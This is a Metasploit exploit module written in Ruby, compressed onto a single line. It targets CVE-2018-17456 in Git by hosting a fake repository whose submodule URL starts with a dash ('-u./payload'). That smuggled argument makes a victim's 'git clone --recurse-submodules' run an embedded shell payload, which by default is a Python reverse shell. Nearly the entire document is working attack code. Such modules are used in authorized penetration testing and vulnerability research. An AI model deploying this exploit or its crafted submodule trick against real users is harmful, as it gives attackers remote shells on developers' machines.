## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Git def initialize(info = {}) super( update_info( info, 'Name' => 'Malicious Git HTTP Server For CVE-2018-17456', 'Description' => %q( This module exploits CVE-2018-17456, which affects Git versions 2.14.5, 2.15.3, 2.16.5, 2.17.2, 2.18.1, and 2.19.1 and lower. When a submodule url which starts with a dash e.g "-u./payload" is passed as an argument to git clone, the file "payload" inside the repository is executed. This module creates a fake git repository which contains a submodule containing the vulnerability. The vulnerability is triggered when the submodules are initialised (e.g git clone --recurse-submodules URL) ), 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2018-17456'], ['URL', 'https://marc.info/?l=git&m=153875888916397&w=2' ], ['URL', 'https://gist.github.com/joernchen/38dd6400199a542bc9660ea563dcf2b6' ], ['URL', 'https://blog.github.com/2018-10-05-git-submodule-vulnerability' ], ], 'DisclosureDate' => 'Oct 05 2018', 'Targets' => [ ['Automatic', { 'Platform' => [ 'unix' ], 'Arch' => ARCH_CMD, 'Payload' => {'Compat' => {'PayloadType' => 'python'}} } ] ], 'DefaultOptions' => {'Payload' => 'cmd/unix/reverse_python'}, 'DefaultTarget' => 0 ) ) register_options( [ OptString.new('GIT_URI', [false, 'The URI to use as the malicious Git instance (empty for random)', '']), OptString.new('GIT_SUBMODULE', [false, 'The path to use as the malicious git submodule (empty for random)', '']) ] ) end def setup @repo_data = { git: { files: {} } } setup_git super end def setup_git # URI must start with a / unless git_uri && git_uri.start_with?('/') fail_with(Failure::BadConfig, 'GIT_URI must start with a /') end payload_content = "#!/bin/sh\n#{payload.raw} &" payload_file = Rex::Text.rand_text_alpha(4..6) submodule_path = datastore['GIT_SUBMODULE'] if submodule_path.blank? submodule_path = Rex::Text.rand_text_alpha(2..6).downcase + ":" + Rex::Text.rand_text_alpha(2..6).downcase end unless submodule_path.include?":" fail_with(Failure::BadConfig, 'GIT_SUBMODULE must contain a :') end gitmodules = "[submodule \"#{submodule_path}\"] path = #{submodule_path} url = -u./#{payload_file} " sha1, content = build_object('blob', gitmodules) @repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content payloadsha1, content = build_object('blob', payload_content) @repo_data[:git][:files]["/objects/#{get_path(payloadsha1)}"] = content tree = "100644 .gitmodules\0#{[sha1].pack('H*')}" tree += "100744 #{payload_file}\0#{[payloadsha1].pack('H*')}" tree += "160000 #{submodule_path}\0#{[sha1].pack('H*')}" sha1, content = build_object('tree', tree) @repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content sha1, content = build_object('commit', "tree #{sha1}\n#{fake_commit_message}") @repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content @repo_data[:git][:files]['/HEAD'] = "ref: refs/heads/master\n" @repo_data[:git][:files]['/info/refs'] = "#{sha1}\trefs/heads/master\n" end def primer # add the git and mercurial URIs as necessary hardcoded_uripath(git_uri) git_url = URI.parse(get_uri).merge(git_uri) print_status("Malicious Git URI is #{git_url}") print_status("git clone --recurse-submodules #{git_url}") end # handles git clone def on_request_uri(cli, req) req_file = URI.parse(req.uri).path.gsub(/^#{git_uri}/, '') if @repo_data[:git][:files].key?(req_file) vprint_status("Sending Git #{req_file}") send_response(cli, @repo_data[:git][:files][req_file]) else vprint_status("Git #{req_file} doesn't exist") send_not_found(cli) end end # Returns the value of GIT_URI if not blank, otherwise returns a random .git URI def git_uri return @git_uri if @git_uri if datastore['GIT_URI'].blank? @git_uri = '/' + Rex::Text.rand_text_alpha(4..6).downcase + '.git' else @git_uri = datastore['GIT_URI'] end end end